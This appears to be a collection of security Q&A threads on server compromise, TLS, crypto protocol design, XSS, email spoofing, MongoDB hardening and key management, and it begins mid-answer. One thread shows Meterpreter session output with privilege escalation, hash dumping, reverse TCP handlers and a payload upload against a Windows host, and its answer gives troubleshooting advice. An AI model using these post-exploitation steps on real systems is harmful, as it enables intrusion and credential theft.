The underlying format for S/MIME, i.e. CMS, lets you store whatever certificates you want in a SignedData element (this is not a chain but a big unsorted bag of certificates and other objects). However, Thunderbird has a default behaviour of just putting the certificates for the signer's chain, excluding the root CA; to my knowledge, this is not configurable, and I cannot blame it because including the root CA would make little sense -- see above.


Hacked debian server alternative boot The server of a customer has been hacked last night. It is a standard debian distribution with mysql, apache and ssh for remote access.

The way it has been hacked is very peculiar. The standard URL showed a deface page with link to nethack.alt.org. I have searched entire drive and could not find the files that would belong to this defaced page (bg.jpg ie.).
Also, the ssh service and mysql were not accessible.
Simple reboot did not help.

I see two possible scenarios:

Hackers somehow installed a parallel system that got booted instead of the original debian.
They somehow redirected all traffic to some other server (ip adress too, not just dns)

Does someone have experience with this kind of attack? Where can I look for compromised files?

Note: I will reinstall the entire system from scratch, but I would like to know how they came in, so I can prevent it in the future.

Edit: Additional info. This line is the last in my syslog when the rogue system was booting instead of the real one.

Jan 21 08:33:09 Debian-76-wheezy-64-minimal kernel: [   17.223513] nf_conntrack version 0.5.0 (16384 buckets, 65536 max)

On a normal start the mysql is started at that point:

Jan 21 09:12:12 Debian-76-wheezy-64-minimal mysqld_safe: Starting mysqld daemon with databases from /var/lib/mysql

From the post and ensuing dialogue:

The machine is a Debian wheezy / 7.0 that aparently has not seen updates for around two years.
There are logs lacking, that indicate the attackers cleaned up traces of their activity.
The OP complains of a divergent behaviour, which corroborate the last hypothesis. [ and the compromised page ]

As for the length of time without updates, there have been multiple holes, remote and local, at kernel level, and in daemons. Vulnerabilities in IPv6, ICMP, ssh and so on. The attackers could actually have gotten by pretty much anywhere in the system.

It is strongly recommend to kill this machine.

Hackers also often install kernel modules to hide their tracks. If you wish to perform a post-morten analysis, boot it with a Live CD/DVD and dump the disk with dd to a DVD for analysing it.

As for recommendations for the future:

Rules to use new versions of the operating system;
a sensible update policy. No machine, as the best as it can be
configured, will withstand an attack without having regular security
updates;
uphold the Unix principle of installing the minimum services needed;
Creating firewall policies, just expose to the Internet the essential ports;
Install a WAF application, for instance, modsecurity if using Apache;
update your CMSs regularly, Joomla, wordpress and Drupal have more holes than a swiss cheese;
Consider looking into containers, namely Docker;
Follow standard programming practices to avoid layer-7 attacks like SQL injections;
Monitor for usage and unusual activity;
Keep regular backups.


Is there any difference between HTTP and HTTPS when using my home / own internet connection First of all I am a web developer and not a security expert. I have read lots of articles about the difference between HTTPS and HTTP, including this site.

The basic idea I got from them is, when using HTTPS all things are encrypted on the client side and then sent to the server. (Please correct me if I am wrong)

So even our network admin or other person in the network can't get anything.

When I use my laptop at home (trusted network), is there any advantage of using HTTPS over HTTP?

TLS provides three things:

Confidentiality: that nobody can see the traffic between you and facebook.com (including the guy at the next table at Starbucks, your ISP, some sketchy network equipment in the datacentre COUGH NSA, nobody).
Integrity: that nobody is modifying the messages as they travel between you and facebook.com (this is separate from Confidentiality because some kinds of attacks allow you to modify the message in a malicious way even if you don't know what the messages are).
Authentication: that you are talking to the authentic facebook.com server, not a spoofed version of it.

  The basic idea what I got from them is, when using https all things are encrypted in client side and then sent it to the server. (Please correct me if I am wrong)

That covers the confidentiality and integrity parts, but you're missing the authentication part:

  To prove that you're not talking to a spoofed web server.

Say I set up a phishing version of Facebook and I somehow hack into your home router (easy) or ISP (harder) so that when you type facebook.com it resolves to my IP address instead of the real one. I've created an exact copy of the login screen you expect and you'll enter your username and password. Muahaha! Now I have your username and password.

How does HTTPS prevent this? Answer: with Certificates:

If we open up the certificate in my browser's Dev Tools > Security, we'll see this:

DigiCert is what's called a Publicly-trusted Certificate Authority (CA). In fact, DigiCert is one of the CAs that your browser inherently trusts because its "root certificate" is embedded into your browser's source code. You can see the full list of trusted root CAs by digging around in browser Settings and looking for "Certificates" or "Trusted Roots" or something.

So, your browser inherently trusts DigiCert, and, through this certificate, DigiCert has certified that the server you are talking to is the real facebook.com (because it has the private key that matches the certificate). You get the green padlock and you know that everything is good.

Just for fun, let's make a fake facebook.com. I added this line to my hosts file so that any time I type facebook.com it will redirect to google.com's IP address:

209.85.147.138  facebook.com

Google, what'cha doing trying to steal my facebook password?? Thank goodness HTTPS is here to protect me! My browser is super unhappy because the certificate it was presented (for google.com) doesn't match the URL it requested (facebook.com). Thanks HTTPS!


boundary firewall cyber essentials question I have been going through the cyber essentials questionnaire and this one question is confusing me and I wondered if you could provide any insight into it for me.

in one of the 5 sections 'Boundary firewalls and internet gateways' this question arose.

  Have you installed firewalls or similar devices at the boundaries of
  the networks in the Scope?

So my question is would that question be referring to network firewalls or something completely different?
I know this question might be extremely simple but I am unable to find a definitive answer on what a boundary firewall is.

Thank you in advance.

Some of the Cyber Essentials wording is quite ambiguous, what this is asking about is firewalls on the boundary of the scope that you define at the outset, the scope of what you want to gain Cyber Essentials accreditation.

Cyber Essentials is self-certifying and is designed to give you a benchmark to measure against to ensure that you have the bare-minimum security controls on place.

Cyber Essentials + however is certified by an independent accreditation body, so defining what the boundary of your scope is becomes quite important.

The scope should be the first thing you define. There a lots of accreditation bodies out there, typically they will have services that will assist you with this process as well as helping to clear up the ambiguous language that you will find in the various Cyber Essentials documents and guidlines.

There are a number of ways you can define the scope, one common way is by dividing your network up into areas of administrative control.

So for example if you work for a global organisation but you are only responsible for the UK part of the network, then you can include the UK part of the network in the scope of what you want to be certified with Cyber Essentials and Cyber Essentials +.

In this instance the question is asking if you have firewalls in between the in-scope UK part of the network and the rest of the global network. This typically means full enterprise level firewall appliances and/or NGFWs (but not always). So effectively the Cyber Essentials accredited part of the network is separated from the un-accredited section by a firewall.

If your organisation is UK only and you want the entire network to be in-scope then the boundaries of your network scope will be the areas that breakout on to the internet. (Depending on how you define your scope this may or may not include the DMZ.)

Cyber Essentials covers a lot of things, it also covers host based firewalls, firewall reviews and firewalls in between in-scope network segments, but this questions specifically means on the boundary of the scope that will be defined at the outset of the Cyber Essentials process.


How to effectively detect a rooted device on Android? Nowadays for detecting a rooted device, some applications perform static checks such as for example the case of GoogleWallet https://www.joeyconway.com/blog/2014/03/29/android-detect-root-access-from-inside-an-app/.

The problem is that it is not that difficult to bypass such verifications.
One of the many ways to do so is to get a temporary root shell for executing any commands we want. As an example, Towelroot embeds a kernel root exploit for getting local root privileges. This enables him to permanently root the device by installing the necessary binaries. The same way, one can use the same technique but just for returning a temporary root shell instead of permanently rooting the device. This way no additional files will be installed, static checks will fail.

How is it possible to detect such kind of scenario?

There is no general answer to this questions as this completely depends on the type of the rooting procedure used. This paper (WOOT workshop of USENIX security 2015) gives a nice overview of the different kinds of rooting procedures.

So if you want to implement a root checker, your chances are best if you can detect the majority of popular root methods.


Only using TLS 1.1 or 1.2 is enough for PCI DSS compliance on transmission of cardholder data (point 4)? I've read the description provideed on PCI DSS 3.2.1 for requierement 4, and I'm having a hard time understanding if it's required to have additional encryption on top of TLS 1.1 / 1.2 using a secure configuration.

On PCI DSS guidance sections says:

  Secure transmission of cardholder data requires using trusted keys/certificates, a secure protocol for transport, and proper encryption strength to encrypt cardholder data

From the above, does TLS 1.1/1.2 covers all stated points?
1. Only use trusted keys/certificates (as signed by trusted authorities)
2. A secure protocol for transport
3. A proper encryption strength

So my question would be:
1. Using only TLS (either 1.1 or 1.2) with a secure configuration is enought for compliance (of this point)?
2. If above is not true, the sistem should include additional encryption on top of that?

The short answer: Yes TLS v1.1 and v1.2 are suitable protocols for transmission of cardholder data and unless you have identified a gap in the transmission path (i.e. where TLS will not protect the data from unauthorised access) additional encryption will not be necessary.

There is also the following in the Guidance Notes for control 4.1:

  Refer to industry standards and best practices for information on strong cryptography and secure protocols (e.g., NIST SP 800-52 and SP 800-57, OWASP, etc.)


Designing a cryptographic file-sharing protocol As a learning project, I am trying to implement a secure way to share files with a friend over dropbox. (I am not looking for existing software, I am doing this in order to learn how to do this right.)

Of course I will not try to invent my own encryption algorithm.

I have a file that I want to send to my friend securely.
We both have my Project-to-be on our machines, and a shared dropbox folder. (although means of transfer should be irrelevant).

Each of us has a RSA keypair, we have exchanged public keys using a secure method (in person via USB stick, or via GPGed email).

I will use

  RSACryptoServiceProvider with a keysize of 4096 bits

for these Keys.
(I am considering maybe soon 8192 bits, since I found out that the huge pause of 8-11 seconds in my test application isn't caused by RSA keypair generation, nor encryption, but by key2string or key2base64 operations!)

The Keys are stored locally in a text file. The private key is encrypted with

  AESCryptoServiceProvider in CBC mode, PKCS7 Padding, 256-Bit.

The IV will be completely random generated by the CSP.
The symmetric key will be derived from a password using

  Rfc2898DeriveBytes (==PBKDF2), 1000 Iterations, salt from RNGCryptoServiceProvider.

(Salt length == final key length)

The file is encrypted, again using

  AESCryptoServiceProvider in CBC mode, PKCS7 Padding, 256-Bit.

Key and IV will be completely random for each file, produced by the CSP itself.

The IV will be prepended to the encrypted filedata.
This package will be hashed using

  HMACSHA512 with a random key.

I don't know whether to use RNGCSP or the HMAC internal randomkeygen, because until now,
I wasn't able to find out how secure that internal method is. (Is this NIST-approved?)

The HMAC will be prepended to the IV:cryptedfile package.

The HMAC-Key and the AES-Key will be (separately) encrypted with my friend's public key, and in such encrypted form be prepended to the package:

  cryptedAESKey:cryptedHMACKey:HMAC:IV:cryptedfile

this package will be saved as binary to the shared DropBox folder, using the same name and extension the original had.
This is because I haven't worked anything out for the filename yet, not even thought about it, suggestions are very welcome.

On the receiving end, of course the process works in reverse:

enter passphrase to unlock private key
decrypt HMAC and AES Key
authenticate file
decrypt using key and iv
save as original filename

So, am I doing it right?
In other words, do you see any problems, any faux-pas, no-gos, misunderstandings on my side, whatever? I am looking for your experienced verdict on my project, what could be done better, different, not at all, additionally? I think I covered all the things in lessons learned and everything my research has brought to surface.

Right now, I am not interested in hiding the existence of communication. Furthermore, the keyhandling inside my application is also not of interest right now, I will get into that as a next step (securing memory against dumping etc.) after I've got the crypto part right.

Making your own crypto is fine as long as you understand that it is for learning, not for using.

There are several "layers" in cryptography. There are algorithms, like RSA, AES, SHA-256... Then there are protocols, which assemble algorithms together. And then, there are implementations, which turn protocols into executable code. For a first grasp of cryptography, I usually recommend to go to implementation first: get an existing protocol, and implement it. This has some nice benefits, including the possibility to test your implementation against others, which is great in tracking bugs. This will also give you some insights on how protocols are structured, e.g. to support streamed operation.

Since you are concentrating on the sending of a file as a single message, the model appears to be close to what OpenPGP purports to solve; therefore, making a working implementation of OpenPGP in C# is what I recommend.

If you still choose to make your own protocol right away, then the following can be said about your choices:

Your key sizes are overkill. 256-bit AES keys are quite useless in practice, since 128-bit keys are already quite far beyond that which is breakable with existing technology (e.g. see this answer). Similarly, 4096-bit RSA keys are oversized; 2048 bits are already more than enough to ensure security. Since larger keys imply reduced performance, oversized keys imply unrealistic slowness which will not be representative of what can be achieved, thus lowering the pedagogical value of the whole endeavour.
Conversely, 1000 rounds of PBKDF2 could be considered as too small. For a password-to-key conversion, the iterations are there for a "muscle show", to cope with the inherent weakness of the password (that is, the inherent weakness of the meat bag who will have to remember it), so you want that iteration count to be as high as is tolerable, thus relating to the power of your computer and your patience. A typical count value, with today's computer, would be around 100000 or even some millions.
You use a MAC for the encryption of the file, but not for the encryption of your private key. This looks strange. There are situations where a MAC is not necessary, but most contexts where encryption is warranted also call for a MAC. It would be simpler to use the same format for both encryptions.
You apply the MAC on the encrypted file: that's encrypt-then-MAC, and that's good -- and you did think of making the encryption IV part of the MAC input, which is even better (that's a classic mistake which you neatly avoided). You might want, though, to make some allowance for some future algorithm agility: maybe, at some point, you will want to use another symmetric encryption algorithm. In that case, some symbolic identifier for the encryption algorithm should also be part of the MAC input; this can be as simple as a first byte of value 0x00, leaving you some root for 255 other future algorithms.
You use HMAC with SHA-512, which is not bad, but SHA-256 is not bad either and will offer substantially better performance on 32-bit systems. There again, race to the largest outputs and key sizes is artificial and sterile. SHA-256 is more than "secure enough".
CBC mode and a separate MAC are "old style". There are modern encryption modes which combine the encryption and the MAC within a single primitive, reducing the possible scope of implementation errors; in particular, EAX and GCM. I understand that .NET does not offer them (yet); CipherMode is limited to CBC, CFB, CTS, ECB and OFB. In that case, CBC is not the worst choice, with an extra MAC (i.e. HMAC, as you suggest). To use CBC properly, an unpredictable random IV is necessary, and that's what you suggest (good).
Be extra wary when implementing the decryption. You should first verify the MAC, and then, only if the MAC verification succeeded, may you proceed with the decryption. The tricky point is in the padding handling: an attacker could try to extract secrets from the recipient, by sending altered files and see how the recipient reacts, e.g. when the recipient found a syntactically valid padding or not. This is the basis of padding oracle attacks. You can process the incoming data in blocks, computing both the MAC and the putative decryption in parallel, but take care, for the last block, to compute and check the MAC first (this is the kind of hurdle that is avoided with GCM or EAX).
Encrypting the key for AES and the key for HMAC is weird; it would allow a creative attacker to swap them around, making the recipient use the HMAC key for decryption, and vice versa. Although the benefits would not be obvious, it is very hard to tell whether a vulnerability exists that way; it depends on how "different" AES is from HMAC, a property which is not well-defined and, in any case, has not been thoroughly investigated.

It seems safer, and also more performant, to use a single "master key" K, encrypted with the recipient's public key, and to derive the AES key and the HMAC key from it with some Key Derivation Function. It can be as simple as making K a 256-bit key (generated randomly) and splitting it in two halves, one for AES and the other for HMAC. Or you could make K longer (or even shorter), hash it with SHA-256, use split the SHA-256 output into two halves. The point is that a single RSA encryption is needed, not two. Also, deriving the encryption and MAC keys from a single source will map better to a possible future use of GCM or EAX.
Your file format does not allow for streamed processing. In your format, the MAC is computed over the complete encrypted file, but its value comes first, before the encryption result. This means that the sender will have to process the whole file before beginning the sending. Thus, for a 1 GB file, 1 GB of temporary disk space (or RAM) will be necessary. This could be avoided if the MAC value was appended at the end, rather than stored in a prefix.

Note that this buffering issue necessarily exists for the recipient, who must verify the MAC before using the decrypted data in any way. To fully cope with that, you would have to make a more complex format, with moderate-sized chunks, each with its own encryption and MAC, and some glue for secure assembly. The model would be SSL/TLS here.
There is no authentication ! The recipient has no way of knowing whether the file he received indeed came from the alleged sender. To add authentication, in your setup, you will need digital signatures. Note that a digital signature may replace a MAC, if applied adequately, which is not an easily guaranteed property. It is safer to simply compute a signature (with the sender's private key) over the complete structure.
There is no protection against replay attacks. An attacker, observing a file in transit, could send the same file again at a later date. It is then up to the recipient to take measures to detect such duplicates. This can be as simple as a date somewhere within the data file, under the protection of the MAC (and possibly the encryption, although this is not necessary), but it must be given some thought.
By encrypting the private key yourself, I understand that you do not let the operating system take care of it. This could be limitative. Indeed, a RSACryptoServiceProvider instance could, potentially, use a key which physically resides in a smart card; and even for software keys, there can be some security benefits with letting the OS take care of the storage (the OS has privileged access to the hardware, and can, for instance, avoid leaking secret keys to the disk through virtual memory). By using an explicit key file, you make your system incompatible with such potentialities, which is a shame.
There is no room for metadata, in particular a content type. The same sequence of bytes can have several interpretations, and there can be amusing consequences if the recipient can be induced into opening a HTML file as PDF or vice versa. Ideally, that which you actually encrypt should be a structure with a header containing a designation of the type of data (e.g. a media type) followed by the data itself.

All of this is said in no particular order and without claiming exhaustivity. The synthetic conclusion is that protocol design is not simple; it helps to have some solid implementation experience on which to base the design.


What college majors are suitable for a career in security? I was recently asked by a friend of mine (outside the computer science field) if he can be successful in web-application pen-testing

I took this as an excuse to ask a more comprehensive question.
I personally found this question about career path quite interesting

What are the career paths in the computer security field?

Keeping in mind that there are people from majors like electric engineering successfully entering different security fields, what sort of college majors are required (or are acceptable) to enter a career in computer security?

Before anyone views this question as "opinion-based" I would like to add that I need specific reasons regarding mathematics background, work ethic, and courses included in the major.

It depends on the type and level of security involved. "Security" is a MASSIVE topic: operational? network? web application? software development? defense? offense? penetration testing? auditing? policy? education? Each one of these can require vastly different qualifications and education.

Further, there is no inherent requirement to have any particular education. I got my first IT Security administration job without a degree at all, but I did have a lot of experience in network and database administration. On the other hand, for me to transition to top management requires an MBA, in some places. There is no defined path and no golden ticket.

To quote an old mentor: "It's not what you know, it's what you do with what you know."


How to prevent Cross-site Scripting in ajax response I have a page(parent.php) from where i am calling a another page(result.php) through jquery ajax that is returning a response in html format. This response is showed on the parent.php page in a div. How can i secure my ajax response from xss attack. Here is the code snippet of parent.php page

$.ajax({
        type: "POST",
        url: "getResult.php",
        data:{search_in:search_in},
        beforeSend:function(){
        $("#search_result").html('Loading..');

    },
    success: function(result)
    {
        $("#search_result").html(result);
        $("#search_result").show();

    }
});

in the getResult.php page i am quering database based on the parameter and returning some result in html form like table. How can i prevent cross site attack

An XSS attack here means that the attacker somehow must be able to compromise the HTML in the Ajax result. Assuming that the connection itself can be trusted (i.e. HTTPS) there are basically two options: sanitize the HTML in the client and/or make sure that there is no XSS in it in the first place in the server.

The latter option is preferred if you have control of the server, i.e. the server should  not generate compromised HTML in the first place. How this exactly is done depends on your unknown web application. But the basic idea that you need to be clear what kind of inputs can be trusted and what not (i.e. can be influenced by the attacker) and then make sure to properly sanitize/restrict the untrusted parts, for example by not allowing HTML input from untrusted sources in the first place.

If you have no control of the server you can only sanitize the HTML inside your client side application. This can of course be done additionally to server side protection (i.e. where you have control of the server) too in case you don't really trust your own server and better want to have a second line of defense. But in general it is easier and more secure to make sure to not include unverified/unsanitized user input in the first place instead of trying to remove it later from the constructed HTML. There are many libraries which help you to sanitize the HTML on the client side using Javascript, see this google search and pick the one which fits your purpose best.


Does WannaCry infect Linux? After reading this question, now, I am wondering if WannaCry malware can infect Linux OS especially Ubuntu.

One of the answers talked about SMB2 and windows. Does it mean a Linux based computer is safe? (Beside the side effects, Wine, and being a conveyor)

WannaCry exploits a set of flaws in Microsoft's implementation of the SMB1 protocol.  Since these are implementation flaws rather than structural flaws in the protocol itself, Linux systems cannot be automatically infected, but can be if manually installed.  This is true regardless of if the systems are running Samba, Wine, or any other Windows-emulation layer.


Techniques for accessing hidden content on a web page If content is hidden on a web page using a CSS hidden directive (consider this example of hiding the Sharepoint 2013 Share button with CSS).

What techniques allow the user to circumvent that and access the function being hidden? In other words, in essence click the "forbidden" button anyway.

In this case I am particularly interested in content which is made possible on the website via javascript in some way, rather than simply hiding a link or form submission which seems trivial to reveal.

Simply using the developer tools built into many browsers should be enough. Also it is probably easy to write some bookmarklet to show "hidden" parts of the page.

Hiding with CSS is not a security feature (not even security by obscurity) but should only be used to hide some parts of the page for now, i.e. show a summary and hide details until the user wants to see them. Parts simply hidden with CSS are usually indexed by search engines too.


mongodb --auth option Suppose I run mongodb as a service with the --auth option (requiring a username and password to CRUD data) in an AWS EC2 shell (which does not ask for a password when you sudo)

Now, suppose someone has hacked into the terminal of my stack via SSH and they cannot query mongodb yet because of the --auth option. (irrelevant how, but lets say the stole the .pem file, stole the AWS admin password and changed security permissions so that anyone can ssh in from any ip address, however it happened, they're in)

Couldn't this person just kill the mongodb process, change the config file (or just not use the config file at all) and start mongodb without the --auth option at all?

At which point, they could CRUD anything they wanted.
If this is the case, I have 2 questions:

What are suggestions on preventing this as a security risk? (perhaps owning the mongodb process by a user/group that not even sudo would a allow shutting down? i.e another unknown username/password combination that the hacker would need to brute-force crack?)
Does using --auth matter at all (supposing i've already secured my database through the use-of public facing token-based end-points - because I don't want people sending usernames & passwords to my end-points. I see that as less secure than using a token)

many thanks

1) What are suggestions on preventing this as a security risk? (perhaps owning the mongodb process by a user/group that not even sudo would a allow shutting down? i.e another unknown username/password combination that the hacker would need to brute-force crack?)

Defense in depth requires multiple layers of security. You are correct that an attacker gaining superuser access has broad access to your server, but appear to be trivialising the effort to do so. In your suggested scenario there are multiple serious security compromises: an attacker has access to your AWS credentials, the client  .pem file, and password-less sudo access. With this level of access an attacker effectively has full control over your AWS infrastructure.

A non-comprehensive list of proactive security measures to consider include:

Lock down the default ec2-user SSH account so it can only be used locally or from a limited set of trusted IPs.
Update your sudoers configuration (using visudo) to avoid or limit password-less login. sudo access can be limited to  a subset of commands with or without prompting for the user's password. A NOPASSWD configuration for some or all sudo commands is a convenience but certainly not a requirement.
Limit SSH network exposure via firewall or TCP wrappers (see: Keeping SSH access secure).
Create an SSH account with more limited access for remote login.
Add monitoring/alerting for remote login attempts (successful & unsuccesful)

  2) Does using --auth matter at all (supposing i've already secured my database through the use-of public facing token-based end-points - because I don't want people sending usernames & passwords to my end-points. I see that as less secure than using a token)

Securing your public API end points is a related (but separate) exercise from securing your database. A real-life analogy might be: "if you have a lock on your front gate, should you also lock your front door or put your valuables in a safe?".

Having authentication & access control enabled is part of your defense in depth strategy and a first step in the MongoDB Security Checklist. If someone compromised your application server or another trusted network host, they should not automatically gain full access to your database deployment. Access control can also prevent some application logic errors: for example, ensuring your API is limited to CRUD operations and cannot be (ab)used to send cluster reconfiguration commands. You need to consider security between your end users and your API, your API and your database deployment, and all other aspects of your infrastructure. A good defense in depth strategy will include monitoring and intrusion detection so you are aware of when your defenses are being tested and potentially compromised.


Are there any security related issues if we allow domain users to change their wallpaper and screen saver? I know lots of company they lock users wallpaper and screen saver, but is there any risk to allow this?

No, there are absolutely no security issues with changing a system's screensaver or wallpaper, at least if you are using the defaults. A company may enforce such a policy because they do not want people to display offensive or controversial material, or because they want to standardize a given look. Remember also that screensavers come from executable files, so there is a security reason to disallow people from downloading and installing arbitrary screensavers from the web.


Fake "FROM" email to allocate to account We are allocating emails to their online account. We discovered you can send a false email with a script by changing the "from" or "reply-to" in the email header. There must be a safe way to test the authenticity of this email - that is genuinely from the correct domain or email server that is allowed to send this email address?

Below is an example of a false email address that we managed to send to our online platform and by looking at the "from" managed to allocate it to that person's account. The example here fakes the user1@companydomain.com and managed to get through to the user's account by the PHP IMAP script using the from address to allocate the email to the user's account. Any suggestions how to safely/automated way to do this will be appreciated.

Delivered-To: upload@ouronlineplatform.com
Received: IP with SMTP id GHVKHOHBLL;
        Thu, 16 Oct 2014 12:11:16 -0700 (PDT)
X-Received: by IP with SMTP id p3mr4338460wjo;
        Thu, 16 Oct 2014 12:11:15 -0700 (PDT)
Return-Path: <daemon@mymacbook.local>
Received: from mymacbook.local (hostipxxxx.btcentralplus.com. [IP])
        by mx.google.com with ESMTP id xxxxxxxxx5
        for <upload@ouronlineplatform.com>;
        Thu, 16 Oct 2014 12:11:15 -0700 (PDT)
Received-SPF: none (google.com: mymacbook.local does not designate permitted sender hosts) client-ip=IP;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: daemon@mymacbook.local does not designate permitted sender hosts) smtp.mail=daemon@mymacbook.local
Received: by mymacbook.local (Postfix, from userid 1)
    id E6F761687C71; Thu, 16 Oct 2014 20:11:14 +0100 (BST)
To: upload@ouronlineplatform.com
Subject: testing
X-PHP-Originating-Script: 501:email_spoofing2.php
From: user1@companydomain.com
Reply-To: user1@companydomain.com
X-Mailer: PHP/5.4.31
Message-Id: <20141016191114.E6F761687C71@mymacbook.local>
Date: Thu, 16 Oct 2014 20:11:14 +0100 (BST)

hello

There is no direct way to know if the from address is forged or not.  It is trivially easy to change when sending an email.

You can't even always tell if it came from the right server - many domains dont have SPF setup properly.  And sometimes people send emails through other servers because they have to - for example some ISPs require you to send through their mail server and block others.

There are several ways to handle this:

Send an email back requiring confirmation by clicking a link.  They can forge the from address, but they wont be able to recieve replies.
Require the emails to be signed with a PGP key or similar encryption.
Attach the file to their account as a "draft" or "pending item" or something and have them approve them later.
Give everyone a unique secret email address to send to.  This is how services like Evernote handle sending in email attachments.  Its not perfect but it does help.  You can still validate the from address or simply allow it from any address. Make sure people can change their secret address in case it gets out.


How to create a ring signature? While reading the Off-the-Record-Messaging paper by Nikita Borisov, Ian Goldberg and Eric Brewer, I came across the idea for "ring signatures" which allow a member of a group to sign a message in the name of the whole group. A third party then has no way of knowing who signed it, except for the fact that someone of that group did.

I was wondering if there was already an implementation of this on the internet or if I can even use off-the-shelf tools like GPG to create a ring signature.

Ring signatures would require modification of the OpenPGP standard and it's implementations, so you won't be able to use them while staying compatible. In fact, there was a propsal in 2014 on the OpenPGP IETF mailing list, but I couldn't find any further follow-ups towards an RFC.

To achieve a similar effect without ring signatures (and the effort of setting up a group), OpenPGP already knows the concept of "group keys", in the end it boils down to setting a key flag indicating the key is shared among a group. From RFC 4880:

5.2.3.21.  Key Flags

   (N octets of flags)

   This subpacket contains a list of binary flags that hold information
   about a key.  It is a string of octets, and an implementation MUST
   NOT assume a fixed size.  This is so it can grow over time.  If a
   list is shorter than an implementation expects, the unstated flags
   are considered to be zero.  The defined flags are as follows:

[...]

       0x80 - The private component of this key may be in the
              possession of more than one person.

I'm not aware though whether this flag can be set without fiddling with GnuPG's source code and compiling GnuPG on your own.

By sharing the key, user's will not be able to determine who signed a message. By signing all group member's keys with the group key, you can publish the list of possible signers.

Do not share the primary key but subkeys if you want to be able to escrow keys more easily (so if somebody leaves the group, all certifications from and on the key stay the same, but you can revoke the old subkey and only have to distribute a new signing subkey to everybody). You can also prevent the rest of the group from issuing certifications or generating/revoking new subkeys on their behalf at the same time.


How to store encrypted confidential user information in the database, which will need to be decrypted at runtime? This Question has been reposted from StackOverflow according to the suggestion given in comments

I am creating an application where I need to store client's information(Like their API Keys and API Secret to access my service, along with other confidential information).

Now, in the database, I want to store these in the encrypted format.  In this regard, I decided to with symmetric key cryptography, AES in specific to encrypt the details.

However, for security purposes I want to use a different AES encryption key on a per client basis, so that even if the DB is compromised, all the data cannot be decrypted using a single key.

However, due to obvious reasons, I do not want to store my private keys in the DB with the encrypted informations.

So, I cannot seem to decide how to store my keys, especially since I need to have a binding that which key belongs to which client.

How can I achieve this, and which is the best approach in scenarios like this?

This is one situation where using a KEK (Key Encrypting Key) and multiple DEKs (Data Encrypting Keys) comes in useful.  (Background question here).

What you would do is encrypt each client's key (these will be the DEKs) using the KEK.  The DEKs are stored (encrypted) in the database.  When the application starts up, it uses the KEK (which is not stored in the database) to decrypt the DEKs, then the (decrypted) DEKs (which exist decrypted in the App, not in the Database) to perform crypto operations.  When the App shuts down the DEKs are all safely encrypted in the database, waiting for the KEK to unlock them again.

This model can allow you to separate the keys (DEKs in the database, KEK on an application server file), to require manual intervention (KEK provided to App at start-up time), or to rely on an HSM for the KEK.  All of these provide more security than simply stuffing client DEKs into the database without protection.


Gained Privilege Escalation but no authority using Metasploit I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP.

Here is the sysinfo :

meterpreter > sysinfo
Computer        : ********
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows

Now the weird thing is when I type :

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

It says that I have get the NT Authority, however when I type :

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeAssignPrimaryTokenPrivilege
  SeChangeNotifyPrivilege
  SeCreateGlobalPrivilege
  SeDebugPrivilege
  SeImpersonatePrivilege
  SeSystemProfilePrivilege
  SeTcbPrivilege

These are just the priviledges that I get. Not all. If I try to use hashdump :

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

Also, I have already migrated to another NT Authority Process, in this case ( svchost.exe )

If I try to run any background local exploit it says that the system is already elevated.

msf exploit(ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[-] Exploit aborted due to failure: none: Session is already elevated

Also, if I try to use the "ASK" exploit to gain priviledge, this is what happens :

msf exploit(ask) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading eobKMikmOsnWp.exe - 73802 bytes to the filesystem...
[*] Executing Command!

And it just freezes, and no prompt is given on the victims computer.

Also any command I try to run, it just gives me an error stating that I don't have access:

meterpreter > kill 7744
Killing: 7744
[-] stdapi_sys_process_kill: Operation failed: Access is denied.

I am totally lost to understand what exactly is happening here? It says that I have gained the access of the system, but still I am not able to do anything?

Why?

Any help would be appreciated.

Is the target using EMET? Specifically, the application whitelisting? Also, any sort of AV?

Also, maybe it's because you didn't set the session, which both hashdump and getsystem rely on. It might also stop you from getting an interactive shell!:

https://www.offensive-security.com/metasploit-unleashed/john-ripper/
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

Last, can you use a payload other than meterpreter (e.g. generated via msfvenom) instead?


benefits of generating temporary SSH key-pair for temporary connection Let's say I have a SSH key-pair for accessing my systems. Private key is kept securely in my workstation and public key is distributed to servers and network equipment. Now there becomes a need to access a third party system over SSH. I could simply provide my existing public key to this third-party and they will later delete my public key from their systems once I no longer need access. However, are there any security benefits of generating temporary SSH key-pair for this temporary access? Only benefit I could see is that for example when this third-party forgets to delete my public key from their system and I have deleted my key-pair from my workstation, then if my workstation gets compromised, then third-party system is not in danger because I have deleted my temporary key-pair.

Only benefit I could see is that for example when this third-party
  forgets to delete my public key from their system and I have deleted
  my key-pair from my workstation, then if my workstation gets
  compromised, then third-party system is not in danger because I have
  deleted my temporary key-pair.

If they aren't revoking user privileges, that is their security problem, not yours.

As far as your security, modulo crazy bugs it should be safe to connect to servers with a standard key you use on other machines.  The ssh client is specifically designed with this in mind, and similarly the public key you distribute to them is specifically designed to be public.